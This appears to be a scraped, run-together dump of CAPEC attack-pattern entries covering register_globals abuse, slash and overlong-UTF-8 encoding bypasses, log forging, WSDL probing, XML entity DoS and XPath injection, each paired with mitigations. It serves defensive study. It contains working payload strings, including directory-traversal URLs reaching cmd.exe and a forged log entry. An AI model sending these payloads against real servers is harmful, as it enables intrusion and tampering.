If the register_globals option is enabled, PHP will create global variables for each GET, POST, and cookie variable included in the HTTP request. This means that a malicious user may be able to set variables unexpectedly. For instance make sure that the server setting for PHP does not expose global variables. A software system should be reluctant to trust variables that have been initialized outside of its trust boundary. Ensure adequate checking is performed when relying on input from outside a trust boundary.Separate the presentation layer and the business logic layer. Variables at the business logic layer should not be exposed at the presentation layer. This is to prevent computation of business logic from user controlled input data.Use encapsulation when declaring your variables. This is to lower the exposure of your variables.Assume all input is malicious. Create a white list that defines all valid input to the software system based on the requirements specifications. Input that does not match against the white list should be rejected by the program.Data ModificationRun Arbitrary CodeInformation LeakagePrivilege EscalationTechnique: Leveraging Extraneous Variables
In many cases, software may come preset with various parameters set by default. In many cases, the default values are set with no regard for security. An attacker can leverage these broken defaults during an attack.
In the interest of convenience (laziness?), some programmers may integrate “secret variables” into their applications. A secret variable works like a code word. If this secret code word is used, the application opens the vault. An example is a Web application that distinguishes between normal users and administrators by checking for a hidden form variable with a particular value such as ADMIN=YES. This may sound crazy, but many internally developed Web-based applications used by the world’s largest banks operate this way. This is one of the tricks that software auditing teams look for.
Sometimes these types of problems are not intentional on the part of programmers, but rather come “by design” in a platform or language. This is the case with PHP global variables.
The user controlled variable.The new value of the user controlled variable.The command or request interpreter on the server side is responsible for interpreting the global variables. Sometime the global variables are controlled by a setting. For instance in PHP, the boolean setting "register_globals" defines whether or not to register the EGPCS (Environment, GET, POST, Cookie, Server) variables as global variables. As of PHP 4.2.0, this settings defaults to off. This directive was removed in PHP 6.0.0.Changing the value of a server side variable may have many outcomes. In the case of a DEBUG related variable, there will be an information leak problem. Some other impacts can be privilege escalation, data modification, etc. It really depends on what the variable controls. If a global variable is used for authentication, there may be a vulnerability of privilege escalation. Another common variation of this last problem is to implement a "Remember My Login" feature by storing a user identifier in a cookie, allowing users to change their cookie value to login as whomever they want.473Targeted15Targeted285Secondary302Targeted94Secondary96Secondary13More Abstract10More Abstract22More DetailedGlobal variables used on the server side should not be trusted.Overide of Global variables should not be allowed.ExploitationHighHighMediumAllAllAllAllG. Hoglund and G. McGraw. Exploiting Software: How to Break Code. Addison-Wesley, February 2004.Securing PHP: Step-by-Step, Artur Maj 2003-06-23, http://www.securityfocus.com/infocus/1706Ten Security Checks for PHP, Part 1 - by Clancy Malcolm, 03/20/2003"Chapter 29. Using Register Globals", from the Official PHP documentation: http://www.php.net/manual/en/security.globals.phpThis attack targets the use of the backslash in alternate encoding. An attacker can provide a backslash as a leading character and causes a parser to believe that the next character is special. This is called an escape. By using that trick, the attacker tries to exploit alternate ways to encode the same character which leads to filter problems and opens avenues to attack.1- The attacker can send input data to the host target (e.g., via http request or command line request2- The attacker craft malicious input data which includes escaped slashes. The attacker may need multiple attempts before finding a successful combination. The application accepts the backlash character as escape character.The application server does incomplete input data decoding, filtering and validation.HighHighInjectionProtocol ManipulationAPI AbuseFor example, the byte pair \0 might result in a single zero byte (a NULL) being sent. Another example is \t, which is sometimes converted into a tab character. There is often an equivalent encoding between the back slash and the escaped back slash. This means that \/ results in a single forward slash. A single forward slash also results in a single forward slash. The encoding looks like this:
/ yields /
\/ yields /Attack Example: Escaped Slashes in Alternate Encodings
An attack leveraging this pattern is very simple. If you believe the target may be filtering the slash, attempt to supply \/ and see what happens. Example command strings to try out include
CWD ..\/..\/..\/..\/winnt
which converts in many cases to
CWD ../../../../winnt
To probe for this kind of problem, a small C program that uses string output routines can be very useful. File system calls make excellent testing fodder. The simple snippet
int main(int argc, char* argv[])
{
puts("\/ \\ \? \. \| ");
return 0;
}
produces the output
/ \ ? . |
Clearly, the back slash is ignored, and thus we have hit on a number of alternative encodings to experiment with. Given our previous example, we can extend the attack to include other possibilities:
CWD ..\?\?\?\?\/..\/..\/..\/winnt
CWD \.\.\/\.\.\/\.\.\/\.\.\/winnt
CWD ..\|\|\|\|\/..\/..\/..\/winnt
Low - The attacker can naively try backslash character and discover that the target host uses it as escape character.
Medium - The attacker may need deep understanding of the host target in order to exploit the vulnerability. The attacker may also use automated tools to probe for this vulnerability.An attacker can manually inject backslash characters in the data sent to the target host and observe the results of the request.The attacker may also run scripts or automated tools against the target host to uncover a vulnerability related to the use of the backslash character.A attacker can use a fuzzer in order to probe for this vulnerability. The fuzzer should generate suspicious network activity noticeable by an intrusion detection system.Alternative method of data encoding can be used.Verify that the user-supplied data does not use backslash character to escape malicious characters.Assume all input is malicious. Create a white list that defines all valid input to the software system based on the requirements specifications. Input that does not match against the white list should not be permitted to enter into the system.Be aware of the threat of alternative method of data encoding.Regular expressions can be used to filter out backslash. Make sure you decode before filtering and validating the untrusted input data.In the case of path traversals, use the principle of least privilege when determining access rights to file systems. Do not allow users to access directories/files that they should not access.Any security checks should occur after the data has been decoded and validated as correct data format. Do not repeat decoding process, if bad character are left after decoding process, treat the data as suspicious, and fail the validation process.Avoid making decisions based on names of resources (e.g. files) if those resources can have alternate names.Information LeakageDenial of ServiceRun Arbitrary CodeInformation LeakagePrivilege EscalationThe user supplied data (e.g., HTTP request)The backslash character injected in the user supplied data. The backslash character can be obfuscated with alternate encoding.The command or request interpreter used on the host target may consider the backslash character as escape character.The character following the backslash character will be escaped (i.e, unfiltered) and may cause harmful effects.180Targeted181Targeted173Targeted171Targeted172Targeted73Targeted21Targeted74Targeted20Targeted64Similar79More Detailed71Similar43SimilarRelative Path TraversalMore DetailedUsing Alternate Encodings to Bypass Validation LogicMore DetailedAll client-supplied input must be validated through filtering and all output must be properly escaped.Reluctance to TrustNever trust user-supplied input.PenetrationExploitationHighHighMediumAllAllAllAllG. Hoglund and G. McGraw. Exploiting Software: How to Break Code. Addison-Wesley, February 2004.CWE – Input Validation
This attack targets the encoding of the Slash characters. An attacker would try to exploit common filtering problems related to the use of the slashes characters to gain access to resources on the target host. Directory-driven systems, such as file systems and databases, typically use the slash character to indicate traversal between directories or other container components. For murky historical reasons, PCs (and, as a result, Microsoft OSs) choose to use a backslash, whereas the UNIX world typically makes use of the forward slash. The schizophrenic result is that many MS-based systems are required to understand both forms of the slash. This gives the attacker many opportunities to discover and abuse a number of common filtering problems. The goal of this pattern is to discover server software that only applies filters to one version, but not the other. 1- The attacker has access to a resource path and required to use slashes as resource delimiter.2- The attacker tries variation and combination of the slashes characters in different encoding format.3- The attacker found an unfiltered combination which maps to a valid path and accesses unauthorized resources (directories, files, etc.)The application server accepts paths to locate resources.The application server does insufficient input data validation on the resource path requested by the user.The access right to resources are not set properly.HighHighInjectionProtocol ManipulationAPI AbuseAttack Example: Slashes in Alternate Encodings
The two following requests are equivalent on most Web servers:
http://target server/some_directory\..\..\..\winnt
is equivalent to
http://target server/some_directory/../../../winnt
Multiple encoding conversion problems can also be leveraged as various slashes are instantiated in URL-encoded, UTF-8, or unicode. Consider the strings
http://target server/some_directory\..%5C..%5C..\winnt
where %5C is equivalent to the \ character.
Low: An attacker can try variation of the slashes characters.
Medium: An attacker can use more sophisticated tool or script to scan a website and find a path filtering problem.An attacker can try different encoding formats for the slashes characters and see if they produce the same filtering results.Automated tools such as fuzzer can be used to test the URL decoding and filtering. Custom scripts can also be used. For example, a good script for verifying the correct interpretation of UTF-8 encoded characters can be found at http://www.cl.cam.ac.uk/~mgk25/ucs/examples/UTF-8-test.txtIf the first path decoding process has left some invalid or blacklisted characters, that may be a sign that the request is malicious.Traffic filtering with IDS (or proxy) can detect request with suspicious URLs. IDS may use signature based identification to reveal such URL based attacks.A attacker can use a fuzzer in order to probe for a UTF-8 encoding vulnerability. The fuzzer should generate suspiscious network activity.Typically the obfuscation here is the use of different alternate encoding format (UTF-8, Unicode, etc,)Any security checks should occur after the data has been decoded and validated as correct data format. Do not repeat decoding process, if bad character are left after decoding process, treat the data as suspicious, and fail the validation process. Refer to the RFCs to safelly decode URL.When client input is required from web-based forms, avoid using the “GET” method to submit data, as the method causes the form data to be appended to the URL and is easily manipulated. Instead, use the “POST method whenever possible.There are tools to scan HTTP requests to the server for valid URL such as URLScan from Microsoft (http://www.microsoft.com/technet/security/tools/urlscan.mspx)Be aware of the threat of alternative method of data encoding and obfuscation technique such as IP address endoding. (See related guideline section)Test your path decoding process against malicious input.In the case of path traversals, use the principle of least privilege when determining access rights to file systems. Do not allow users to access directories/files that they should not access.Assume all input is malicious. Create a white list that defines all valid input to the application based on the requirements specifications. Input that does not match against the white list should not be permitted to enter into the system.Information LeakageRun Arbitrary CodePrivilege EscalationThe injection vector is a string path such as URL path.The injection vector is a string path with malicious slashes characters. Alternate encoding format can also be used to code the slashes characters.The impact of the payload is access to unauthorized resources.173Targeted171Targeted180Targeted181Targeted20Targeted74Targeted73Targeted21Targeted185Secondary200Secondary64More Abstract78More Abstract71Similar43SimilarRelative Path TraversalMore DetailedUsing Alternate Encodings to Bypass Validation LogicMore DetailedLeast privilegeReluctance to trustPenetrationExploitationHighHighMediumAllAllAllAllG. Hoglund and G. McGraw. Exploiting Software: How to Break Code. Addison-Wesley, February 2004.UTF-8 and Unicode FAQ for Unix/Linux, by Markus Kuhn - http://www.cl.cam.ac.uk/~mgk25/unicode.html
URL encoded attacks, by Gunter Ollmann - http://www.cgisecurity.com/lib/URLEmbeddedAttacks.htmlThis attack is a specific variation on leveraging alternate encodings to bypass validation logic. This attack leverages the possibility to encode potentially harmful input in UTF-8 and submit it to applications not expecting or effective at validating this encoding standard making input filtering difficult. UTF-8 (8-bit UCS/Unicode Transformation Format) is a variable-length character encoding for Unicode. Legal UTF-8 characters are one to four bytes long. However, early version of the UTF-8 specification got some entries wrong (in some cases it permitted overlong characters). UTF-8 encoders are supposed to use the ``shortest possible'' encoding, but naive decoders may accept encodings that are longer than necessary. According to the RFC 3629, a particularly subtle form of this attack can be carried out against a parser which performs security-critical validity checks against the UTF-8 encoded form of its input, but interprets certain illegal octet sequences as characters. 1- The attacker has a communication channel for sending data to the target host.2- The attacker tries to encode some special charactersusing UTF-8, send them to the target host and observe the results. The attacker finds out that some characters are not filtered properly.3- The attacker crafts mailcious input using UTF-8 and sends it to the target host.4- The target host decodes and interprets the attacker supplied input data. Unfortunately since the input filtering is not done properly, the special characters have harmful consequences. The application's UTF-8 decoder accepts and interprets illegal UTF-8 characters or non-shortest format of UTF-8 encoding.Input filtering and validating is not done properly leaving the door open to harmful characters for the target host.HighHighInjectionProtocol ManipulationAPI AbusePerhaps the most famous UTF-8 attack was against unpatched Microsoft Internet Information Server (IIS) 4 and IIS 5 servers. If an attacker made a request that looked like this—http://servername/scripts/..%c0%af../winnt/system32/ cmd.exe—the server didn't correctly handle %c0%af in the URL. What do you think %c0%af means? It's 11000000 10101111 in binary; and if it's broken up using the UTF-8 mapping rules, we get this: 11000000 10101111. Therefore, the character is 00000101111, or 0x2F, the slash (/) character! The %c0%af is an invalid UTF-8 representation of the / character. Such an invalid UTF-8 escape is often referred to as an overlong sequence.
So when the attacker requested the tainted URL, he accessed http://servername/scripts/../../winnt/system32/cmd.exe. In other words, he walked out of the script's virtual directory, which is marked to allow program execution, up to the root and down into the system32 directory, where he could pass commands to the command shell, Cmd.exe.CVE-2000-0884
Low - an attacker can inject different representation of a filtered character in UTF-8 format.
Medium - an attacker may craft subtle encoding of input data by using the knowledge that she has gathered about the target host.Attacker may try to inject dangerous characters using UTF-8 different representation using (example of invalid UTF-8 characters). The attacker hopes that the targeted system does poor input filtering for all the different possible representations of the malicious characters. Malicious inputs can be sent through an HTML form or directly encoded in the URL.The attacker can use scripts or automated tools to probe for poor input filtering.A web page that contains overly long UTF-8 codes constitute a protocol anomaly, and could be an indication that an attacker is attempting to exploit a vulnerability on the target host.A attacker can use a fuzzer in order to probe for a UTF-8 encoding vulnerability. The fuzzer should generate suspicious network activity noticeable by an intrusion detection system.An IDS filtering network traffic may be able to detect illegal UTF-8 characters.According to OWASP, sometimes cross-site scripting attackers attempt to hide their attacks in Unicode encoding.The Unicode Consortium recognized multiple representations to be a problem and has revised the Unicode Standard to make multiple representations of the same code point with UTF-8 illegal. The UTF-8 Corrigendum lists the newly restricted UTF-8 range (See references). Many current applications may not have been revised to follow this rule. Verify that your application conform to the latest UTF-8 encoding specification. Pay extra attention to the filtering of illegal characters.The exact response required from an UTF-8 decoder on invalid input is not uniformly defined by the standards. In general, there are several ways a UTF-8 decoder might behave in the event of an invalid byte sequence:
1. Insert a replacement character (e.g. '?', '�').
2. Ignore the bytes.
3. Interpret the bytes according to a different character encoding (often the ISO-8859-1 character map).
4. Not notice and decode as if the bytes were some similar bit of UTF-8.
5. Stop decoding and report an error (possibly giving the caller the option to continue).
It is possible for a decoder to behave in different ways for different types of invalid input.
RFC 3629 only requires that UTF-8 decoders must not decode "overlong sequences" (where a character is encoded in more bytes than needed but still adheres to the forms above). The Unicode Standard requires a Unicode-compliant decoder to "…treat any ill-formed code unit sequence as an error condition. This guarantees that it will neither interpret nor emit an ill-formed code unit sequence."
Overlong forms are one of the most troublesome types of UTF-8 data. The current RFC says they must not be decoded but older specifications for UTF-8 only gave a warning and many simpler decoders will happily decode them. Overlong forms have been used to bypass security validations in high profile products including Microsoft's IIS web server. Therefore, great care must be taken to avoid security issues if validation is performed before conversion from UTF-8, and it is generally much simpler to handle overlong forms before any input validation is done.
To maintain security in the case of invalid input, there are two options. The first is to decode the UTF-8 before doing any input validation checks. The second is to use a decoder that, in the event of invalid input, returns either an error or text that the application considers to be harmless. Another possibility is to avoid conversion out of UTF-8 altogether but this relies on any other software that the data is passed to safely handling the invalid data.
Another consideration is error recovery. To guarantee correct recovery after corrupt or lost bytes, decoders must be able to recognize the difference between lead and trail bytes, rather than just assuming that bytes will be of the type allowed in their position.For security reasons, a UTF-8 decoder must not accept UTF-8 sequences that are longer than necessary to encode a character. If you use a parser to decode the UTF-8 encoding, make sure that parser filter the invalid UTF-8 characters (invalid forms or overlong forms).Look for overlong UTF-8 sequences starting with malicious pattern. You can also use a UTF-8 decoder stress test to test your UTF-8 parser (See Markus Kuhn's UTF-8 and Unicode FAQ in reference section)Assume all input is malicious. Create a white list that defines all valid input to the software system based on the requirements specifications. Input that does not match against the white list should not be permitted to enter into the system. Test your decoding process against malicious input.Privilege EscalationRun Arbitrary CodeData ModificationDenial of ServiceBruce Schneier was one of the first to raise the security issues with Unicode in the July 15, 2000 issue of Crypto-Gram newsletter. He pointed out that with the Unicode character set, it is possible that there could be multiple representations of a single character. In a security context it is primordial to determine the meaning of a character. According to the RFC 3629, a particularly subtle form of this attack can be carried out against a parser which performs security-critical validity checks against the UTF-8 encoded form of its input, but interprets certain illegal octet sequences as characters. For example, a parser might prohibit the NUL character when encoded as the single-octet sequence 00, but erroneously allow the illegal two-octet sequence C0 80 and interpret it as a NUL character. Another way that Unicode can cause problems is that the application or operation system can assign the same interpretation to different code points. Thus, even though the Unicode specification dictates that the code points should be treated differently, the application actually treats them the same.
Buffer overflow
Another security issue occurs when encoding to UTF-8: the ISO/IEC 10646 description of UTF-8 allows encoding character numbers up to U+7FFFFFFF, yielding sequences of up to 6 bytes. There is therefore a risk of buffer overflow if the range of character numbers is not explicitly limited to U+10FFFF or if buffer sizing doesn't take into account the possibility of 5- and 6-byte sequences. Five and six bytes long UTF-8 characters are now illegal.
The injection vector is an illegal sequences of bytes matching an UTF-8 characters or a "non-shortest form" in UTF-8 encoding format.The interpretation of malicious characters can cause unexpected responses from the target host.The request or command interpreter is responsible for interpreting the request sent by the client.The malicious characters can defeat the data filtering mechanism and have many different outcomes such as path manipulation, remote code execution, etc.173Targeted172Targeted180Targeted181Targeted171Secondary73Targeted21Targeted74Secondary20Secondary64Similar71SimilarReluctance to TrustRFC 3629 - http://www.faqs.org/rfcs/rfc3629.htmlPenetrationHighHighMediumAllAllAllAllG. Hoglund and G. McGraw. Exploiting Software: How to Break Code. Addison-Wesley, February 2004.CWE – Input ValidationDavid Wheeler - http://www.dwheeler.com/secure-programs/Secure-Programs-HOWTO/character-encoding.htmlMichael Howard and David LeBlanc - Writing Secure Code, chap12, Microsoft PressBruce Schneier - Crypto-Gram Newsletter, July 15, 2000 - http://www.schneier.com/crypto-gram-0007.html WikiPedia page about UTF-8, http://en.wikipedia.org/wiki/UTF-8RFC 3629 - http://www.faqs.org/rfcs/rfc3629.htmlIDS Evasion with Unicode, by Eric Hacker, Jan. 3, 2001 - http://www.securityfocus.com/infocus/1232Corrigendum #1: UTF-8 Shortest Form - http://www.unicode.org/versions/corrigendum1.htmlUTF-8 and Unicode FAQ for Unix/Linux, by Markus Kuhn - http://www.cl.cam.ac.uk/~mgk25/unicode.htmlUTF-8 decoder capability and stress test, by Markus Kuhn - http://www.cl.cam.ac.uk/%7Emgk25/ucs/examples/UTF-8-test.txt
This attack utlizes a Rest(REpresentational State Transfer)-style applications' trust in the system resources and environment to place man in the middle once SSL is terminated. Rest applications premise is that they leverage existing infrastructure to deliver web services functionality. An example of this is a Rest application that uses HTTP Get methods and receives a HTTP response with a XML document. These Rest style web services are deployed on existing infrastructure such as Apache and IIS web servers with no SOAP stack required. Unfortunately from a security standpoint, there frequently is no interoperable identity security mechanism deployed, so Rest developers often fall back to SSL to deliver security. In large data centers, SSL is typically terminated at the edge of the network - at the firewall, load balancer, or router. Once the SSL is terminated the HTTP request is in the clear (unless developers have hashed or encrypted the values, but this is rare). The attacker can utilize a sniffer such as Wireshark to snapshot the credentials, such as username and password that are passed in the clear once SSL is terminated.
Once the attacker gathers these credentials, they can submit requests to the web service provider just as authorized user do. There is not typically an authentication on the client side, beyond what is passed in the request itself so once this is compromised, then this is generally sufficient to compromise the service's authentication scheme.
Opportuntity to intercept must exist beyond the poing where SSL is terminated.
The attacker must be able to insert a listener actively (proxying the communication) or passively (sniffing the communication) in the client-server communication path.
Very HighMediumProtocol ManipulationInjection
The Rest service provider uses SSL to protect the communications between the service requester (client) to the service provider. In the instance where SSL is terminated before the communications reach the web server, it is very common in enterprise data centers to terminate SSL at a router, firewall, load balancer, proxy or other device, then the attacker can insert a sniffer into the communication stream and gather all the authentication tokens (such as session credentials, username/passwords combinations, and so on). The Rest service requester and service provider do not have any way to detect this attack.
Low → to insert a network sniffer or other listener into the communication stream
Attacker may use a network sniffer to identify authentication credentials once SSL is terminated.
Implementation: Implement message level security such as HMAC in the HTTP communication
Design: Utilize defense in depth, do not rely on a single security mechanism like SSL
Design: Enforce principle of least privilege
Privilege Escalation
HTTP protocol communications
Command(s) executed directly on host
Client machine and client network
Enables attacker to execute server side code with any commands that the program owner has privileges to.
300Targeted287TargetedPenetrationExploitationHighHighHighSOAAllAllAll
Protection services in security are vulnerable so they are backstopped by detection in the so-called protect-detect-respond model. A key element in detection is log files, to identify a threat impact, for audit purposes, or simply responding to a crash. While penetrating a system requires a set of skills, more advanced attackers will cover their tracks by manipulating log files to either erase entries or input false entries to throw the system administrators off their trail. Since most requests to web servers are logged (at least header request response data) the attacker literally has the ability to generate log data in every request. Of course this is not the same as always being able to delete otherwise tamper with log data.
Web Logs Tampering attacks involve an attacker injecting, deleting or otherwise tampering with the contents of web logs.
Additionally, writing malicious data to log files may target jobs, filters, reports, and other agents that process the logs in an asynchronous attack pattern.
Target server software must be a HTTP server that performs web logging.
HighMediumModification of ResourcesTime and State
Most web servers have a public interface, even if the majority of the site is password protected, there is usually at least a login site and brochureware that is publicly available. HTTP requests to the site are also generally logged to a Web log. From an attacker point of view, standard HTTP requests containing a malicious payload can be sent to the public website (with no other access required), when those requests appear in the log (such as http://victimsite/index.html?< malicious script> if they are followed by an administrator this may be sufficient to probe the administrator's host or local network.
Low → To input faked entries into Web logs
Ability to send specially formatted HTTP request to web server
Design: Use input validation before writing to web log
Design: Validate all log data before it is output
Data Modification
“Attack Pattern: Web Logs
Escape characters are often translated before being printed to the log file. For example, under IIS the string /index%2Easp is recorded in the log file as /index.asp. A more complicated string can be used to record fake entries in the logfile. For example:
/index.asp%FF200%FFHTTP/1.1%0A00:51:11%FF[192.168.10.10]%FFGET%FF/cgi-bin/phf
This string will force a carriage return in the log file and forge a fake entry showing the address 192.168.10.10 getting the cgi-bin/phf file"
[Hoglund and McGraw 04]
Forged log entry delivered through HTTP Request.
HTTP request
Web log, log reporting systems
Log data contains data designed to trick administrators and auditors as to chain of events. Limit ability to conduct forensics and other investigations/responses.
117Targeted93Targeted92Targeted221Targeted96Secondary20Secondary150Secondary276Targeted279Secondary116SecondaryObfuscationMediumHighMediumClient-ServerSOAAllAllAll
G. Hoglund and G. McGraw. Exploiting Software: How to Break Code. Addison-Wesley, February 2004.
This attack targets the WSDL interface made available by a web service. The attacker may scan the WSDL interface to reveal sensitive information about invocation patterns, underlying technology implementations and associated vulnerabilities. This type of probing is carried out to perform more serious attacks (e.g. parameter tampering, malicious content injection, command injection, etc.). WSDL files provide detailed information about the services ports and bindings available to consumers. For instance, the attacker can submit special characters or malicious content to the Web service and can cause a denial of service condition or illegal access to database records. In addition, the attacker may try to guess other private methods by using the information provided in the WSDL files.The first step is exploratory meaning the attacker scans for WSDL documents. The WDSL document written in XML is like a handbook on how to communicate with the web services provided by the target host. It provides an open view of the application (function details, purpose, functional break down, entry points, message types, etc.). This is very useful information for the attacker.The second step that a attacker would undertake is to analyse the WSDL files and try to find potential weaknesses by sending messages matching the pattern described in the WSDL file. The attacker could run through all of the operations with different message request patterns until a breach is identified.Once an attacker finds a potential weakness, they can craft malicious content to be sent to the system. For instance the attacker may try to submit special characters and observe how the system reacts to an invalid request. The message sent by the attacker may not be XML validated and cause unexpected behavior.A client program connecting to a web service can read the WSDL to determine what functions are available on the server.The target host exposes vulnerable functions within its WSDL interface.HighHighAnalysisAPI AbuseA WSDL interface may expose a function vulnerable to SQL Injection.The Web Services Description Language (WSDL) allows a web service to advertise its capabilities by describing operations and parameters needed to access the service. As discussed in step 5 of this series, WSDL is often generated automatically, using utilities such as Java2WSDL, which takes a class or interface and builds a WSDL file in which interface methods are exposed as web services.
Because WSDL generation often is automated, enterprising hackers can use WSDL to gain insight into the both public and private services. For example, an organization converting legacy application functionality to a web services framework may inadvertently pass interfaces not intended for public consumption to a WSDL generation tool. The result will be SOAP interfaces that give access to private methods.
Another, more subtle WSDL attack occurs when an enterprising attacker uses naming conventions to guess the names of unpublished methods that may be available on the server. For example, a service that offers a stock quote and trading service may publish query methods such as requestStockQuote in its WSDL. However, similar unpublished methods may be available on the server but not listed in the WSDL, such as executeStockQuote. A persistent hacker with time and a library of words and phrases can cycle thru common naming conventions (get, set, update, modify, and so on) to discover unpublished application programming interfaces that open doors into private data and functionality.
Source : "Seven Steps to XML Mastery, Step 7: Ensure XML Security", Frank Coyle. See reference section.
Low: This attack can be as simple as reading WSDL and starting sending invalid request.
Medium: This attack can be used to perform more sophisticated attacks (SQL injection, etc.)
An attacker can request the WSDL file from the target host by sending a SOAP message.There are free Vulnerability testing tool, such as WSDigger to perform WSDL scanning - Foundstone's free Web services security tool performs WSDL scanning, SQL injection and XSS attacks on Web Services.It is important to protect WSDL file or provide limited access to it.Review the functions exposed by the WSDL interface (specially if you have used a tool to generate it). Make sure that none of them is vulnerable to injection.Ensure the WSDL does not expose functions and APIs that were not intended to be exposed.Pay attention to the function naming convention (within the WSDL interface). Easy to guess function name may be an entry point for attack.Validate the received messages against the WSDL Schema. Incomplete solution.Information Leakage538TargetedDefense in DepthNever Assuming that Your Secrets Are SafeSecuring the Weakest LinkReconnaissanceMediumMediumHighSOAAllAllAllCWE – Input Validation"Anatomy of a Web Services Attack", ForumSystems - http://forumsystems.com/papers/Anatomy_of_Attack_wp.pdf"Seven Steps to XML Mastery, Step 7: Ensure XML Security", Frank Coyle - http://www.awprofessional.com/articles/article.asp?p=601349&seqNum=5&rl=1
XML Denial of Service (XDoS) can be applied to any technology that utilizes XML data. This is, of course, most distributed systems technology including Java, .Net, databases, and so on. XDoS is most closely associated with web services, SOAP, and Rest, because remote service requesters can post malicious XML payloads to the service provider designed to exhaust the service provider's memory, CPU, and/or disk space. The main weakness in XDoS is that the service provider generally must inspect, parse, and validate the XML messages to determine routing, workflow, security considerations, and so on. It is exactly these inspection, parsing, and validation routines that XDoS targets.
There are three primary attack vectors that XDoS can navigate
Target CPU through recursion: attacker creates a recursive payload and sends to service provider
Target memory through jumbo payloads: service provider uses DOM to parse XML. DOM creates in memory representation of XML document, but when document is very large (for example, north of 1 Gb) service provider host may exhaust memory trying to build memory objects.
XML Ping of death: attack service provider with numerous small files that clog the system.
All of the above attacks exploit the loosely coupled nature of web services, where the service provider has little to no control over the service requester and any messages the service requester sends.
Attacker must be able to send a malicious XML payload to host, such as SOAP or REST web service.
Very HighHighInjection
Several commercial XML parsers were found to be vulnerable to XDoS through XML recursion attacks. The code fragment below is self-referencing and can result in the parser exhausting all CPU and/or memory available to it.
<!DOCTYPE evildoc [
<!ENTITY x0 メhello XDoS">
<!ENTITY xevilparam メ&x99;&x99;"> ]>
<foobar>&xevilparam;</foobar>
By the time the service provider validatesthe DTD elements it is too late, because the validation routines references itself. SOAP messages are no longer allowed to accept DTDs, however there is nothing to stop developers of other applications or custom SOAP implementations from bypassing this concern.
Low → Crafting malicious XML content and injecting it through standard interfaces
Design: Utilize a Security Pipeline Interface (SPI) to mediate communications between service requester and service provider The SPI should be designed to throttle up and down and handle a variety of payloads.
Design: Utilize clustered and fail over techniques, leverage network transports to provide availability such as HTTP load balancers
Implementation: Check size of XML message before parsing
Denial of Service
XML-capable system interfaces
Maliciously crafted XML
XML inspection, parsing and validation routines
Denial of Service
400TargetedExploitationLowMediumHighClient-ServerSOAAllAllAll
Applications often need to transform data in and out of the XML format by using an XML parser. It may be possible for an attacker to inject data that may have an adverse effect on the XML parser when it is being processed. These adverse effects may include the parser crashing, consuming too much of a resource, executing too slowly, executing code supplied by an attacker, allowing usage of unintenteded system functionality, etc. An attacker's goal is to leverage parser failure to his or her advantage. In some cases it may be possible to jump from the data plane to the control plane via bad data being passed to an XML parser [1].
An attacker determines the input data stream that is being processed by an XML parser on the server side.
An attacker crafts input data that may have an adverse effect on the operation of the XML parser when the data is parsed on the server.
An application uses an XML parser to perform transformation on user-controllable data.
An application does not perform sufficient validation to ensure that user-controllable data is safe for an XML parser.
MediumMediumInjectionAPI Abuse
"PHPXMLRPC aka XML-RPC For PHP is a PHP implementation of the XML-RPC
web RPC protocol, and was originally developed by Edd Dumbill of Useful
Information Company. As of the 1.0 stable release, the project has been
opened to wider involvement and moved to SourceForge. PHPXMLRPC is used
in a large number of popular web applications such as PostNuke, Drupal,
b2evolution, and TikiWiki. Unfortunately PHPXMLRPC is vulnerable to a
remote php code execution vulnerability that may be exploited by an
attacker to compromise a vulnerable system.
Remote Command Execution:
PHPXMLRPC is vulnerable to a very high risk remote php code execution
vulnerability that may allow for an attacker to compromise a vulnerable
webserver. The vulnerability is the result of unsanatized data being passed
directly into an eval() call in the parseRequest() function of the
XMLRPC server.
By creating an XML file that uses single quotes to escape into the eval()
call an attacker can easily execute php code on the target server. This
has a lot to do with the fact that magic_quotes_gpc() does not apply to
$HTTP_RAW_POST_DATA so using single quotes is not a problem" [2].
Reference: GulfTech Security Research"PHPXMLRPC Remote Code Execution", SecurePoint - BugTraq Archive: "http://msgs.securepoint.com/bugtraq"
CVE-2005-2498
Low - Denial of service (making the parser crash)
High - Arbitrary code execution
Bad data is continuously passed to the XML parser, possibly making it crash.
Carefully validate and sanitize all user-controllable data prior to passing it to the XML parser routine. Ensure that the resultant data is safe to pass to the XML parser.
Perform validation on canonical data.
Pick a robust implementation of an XML parser.
Validate XML against a valid schema or DTD prior to parsing.
Denial of ServiceInformation LeakageRun Arbitrary CodePrivilege Escalation
Application XML-compliant interface
User-controllable XML code
The XML parser code.
112Targeted20Targeted19TargetedPenetrationExploitationMediumHighHighClient-ServerSOAAllAllAll
1. Shlomo, Yona: "http://yeda.cs.technion.ac.il/~yona/talks/xml_parser_attacks/slides/slide2.html"
2. GulfTech Security Research"PHPXMLRPC Remote Code Execution", SecurePoint - BugTraq Archive: "http://msgs.securepoint.com/bugtraq"
An attacker can craft special user-controllable input consisting of XPath expressions to inject the XML database and bypass authentication or glean information that he normally would not be able to. XPath Injection enables an attacker to talk directly to the XML database, thus bypassing the application completely. XPath Injection results form the failure of an application to properly sanitize input used as part of dynamic XPath expressions used to query an XML database. In order to successfully inject XML and retrieve information from a database, an attacker:
1. Determines the user-controllable input that is used without proper validation as part of XPath queries
2. Determines the structure of queries that accept such input
3. Crafts malicious content containing XPath expressions that is not validated by the application and is executed as part of the XPath queries.
XPath queries used to retrieve information stored in XML documentsUser-controllable input not properly sanitized before being used as part of XPath queriesHighHighInjectionConsider an application that uses an XML database to authenticate its users. The application retrieves the user name and password from a request and forms an XPath expression to query the database. An attacker can successfully bypass authentication and login without valid credentials through XPath Injection. This can be achieved by injecting the query to the XML database with XPath syntax that causes the authentication check to fail. Improper validation of user-controllable input and use of a non-parameterized XPath expression enable the attacker to inject an XPath expression that causes authentication bypass.Low - XPath Injection shares the same basic premises with SQL Injection. An attacker must have knowledge of XPath synax and constructs in order to successfully leverage XPath InjectionNoneThe attacker tries to inject characters that can cause an XPath error, such as single-quote ('), or content that may cause a malformed XPath expression. If the injection of such content into the input causes an XPath error and the resulting error is displayed unfiltered, the attacker can begin to determine the nature of input validation and structure of XPath expressions used in queries.Too many exceptions generated by the appplication as a result of malformed XPath queriesStrong input validation - All user-controllable input must be validated and filtered for illegal characters as well as content that can be interpreted in the context of an XPath expression. Characters such as a single-quote(') or operators such as or (|), and (&) and such should be filtered if the application does not expect them in the context in which they appear. If such content cannot be filtered, it must at least be properly escaped to avoid them being interpreted as part of XPath expressions.Use of parameterized XPath queries - Parameterization causes the input to be restricted to certain domains, such as strings or integers, and any input outside such domains is considered invalid and the query fails.Use of custom error pages - Attackers can glean information about the nature of queries from descriptive error messages. Input validation must be coupled with customized error pages that inform about an error without disclosing information about the database or application.Privilege EscalationInformation 